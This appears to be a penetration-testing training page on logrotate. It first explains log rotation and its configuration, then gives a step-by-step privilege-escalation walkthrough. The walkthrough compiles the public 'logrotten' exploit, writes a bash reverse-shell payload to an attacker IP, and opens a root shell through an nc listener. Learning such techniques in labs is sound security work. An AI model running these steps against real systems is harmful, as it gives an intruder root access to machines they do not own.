**Logrotate**

Every Linux system produces large amounts of log files. To prevent the hard disk from overflowing, a tool called logrotate takes care of archiving or disposing of old logs. If no attention is paid to log files, they become larger and larger and eventually occupy all available disk space. Furthermore, searching through many large log files is time-consuming. To prevent this and save disk space, logrotate has been developed. The logs in /var/log give administrators the information they need to determine the cause behind malfunctions. Almost more important are the unnoticed system details, such as whether all services are running correctly.

Logrotate has many features for managing these log files. These include the specification of:

* the size of the log file,
* its age,
* and the action to be taken when one of these factors is reached.

yovecio@htb[/htb]$ man logrotate

yovecio@htb[/htb]$ # or

yovecio@htb[/htb]$ logrotate --help

Usage: logrotate [OPTION...] <configfile>

-d, --debug Don't do anything, just test and print debug messages

-f, --force Force file rotation

-m, --mail=command Command to send mail (instead of '/usr/bin/mail')

-s, --state=statefile Path of state file

--skip-state-lock Do not lock the state file

-v, --verbose Display messages during rotation

-l, --log=logfile Log file or 'syslog' to log to syslog

--version Display version information

Help options:

-?, --help Show this help message

--usage Display brief usage message

The function of the rotation itself consists in renaming the log files. For example, new log files can be created for each new day, and the older ones will be renamed automatically. Another example of this would be to empty the oldest log file and thus reduce memory consumption.

This tool is usually started periodically via cron and controlled via the configuration file /etc/logrotate.conf. Within this file, it contains global settings that determine the function of logrotate.

yovecio@htb[/htb]$ cat /etc/logrotate.conf

# see "man logrotate" for details

# global options do not affect preceding include directives

# rotate log files weekly

weekly

# use the adm group by default, since this is the owning group

# of /var/log/syslog.

su root adm

# keep 4 weeks worth of backlogs

rotate 4

# create new (empty) log files after rotating old ones

create

# use date as a suffix of the rotated file

#dateext

# uncomment this if you want your log files compressed

#compress

# packages drop log rotation information into this directory

include /etc/logrotate.d

# system-specific logs may also be configured here.

To force a new rotation on the same day, we can set the date after the individual log files in the status file /var/lib/logrotate/status or use the -f/--force option:

yovecio@htb[/htb]$ sudo cat /var/lib/logrotate/status

/var/log/samba/log.smbd" 2022-8-3

/var/log/mysql/mysql.log" 2022-8-3

We can find the corresponding configuration files in /etc/logrotate.d/ directory.

yovecio@htb[/htb]$ ls /etc/logrotate.d/

alternatives apport apt bootlog btmp dpkg mon rsyslog ubuntu-advantage-tools ufw unattended-upgrades wtmp

yovecio@htb[/htb]$ cat /etc/logrotate.d/dpkg

/var/log/dpkg.log {

monthly

rotate 12

compress

delaycompress

missingok

notifempty

create 644 root root

}

To exploit logrotate, we need some requirements that we have to fulfill.

1. we need write permissions on the log files
2. logrotate must run as a privileged user or root
3. vulnerable versions:
   * 3.8.6
   * 3.11.0
   * 3.15.0
   * 3.18.0

There is a prefabricated exploit that we can use for this if the requirements are met. This exploit is named [logrotten](https://github.com/whotwagner/logrotten). We can download and compile it on a similar kernel of the target system and then transfer it to the target system. Alternatively, if we can compile the code on the target system, then we can do it directly on the target system.

logger@nix02:~$ git clone https://github.com/whotwagner/logrotten.git

logger@nix02:~$ cd logrotten

logger@nix02:~$ gcc logrotten.c -o logrotten

Next, we need a payload to be executed. Here many different options are available to us that we can use. In this example, we will run a simple bash-based reverse shell with the IP and port of our VM that we use to attack the target system.

logger@nix02:~$ echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload

However, before running the exploit, we need to determine which option logrotate uses in logrotate.conf.

logger@nix02:~$ grep "create\|compress" /etc/logrotate.conf | grep -v "#"

create

In our case, it is the option: create. Therefore we have to use the exploit adapted to this function.

After that, we have to start a listener on our VM / Pwnbox, which waits for the target system's connection.

yovecio@htb[/htb]$ nc -nlvp 9001

Listening on 0.0.0.0 9001

As a final step, we run the exploit with the prepared payload and wait for a reverse shell as a privileged user or root.

logger@nix02:~$ ./logrotten -p ./payload /tmp/tmp.log

...

Listening on 0.0.0.0 9001

Connection received on 10.129.24.11 49818

# id

uid=0(root) gid=0(root) groups=0(root)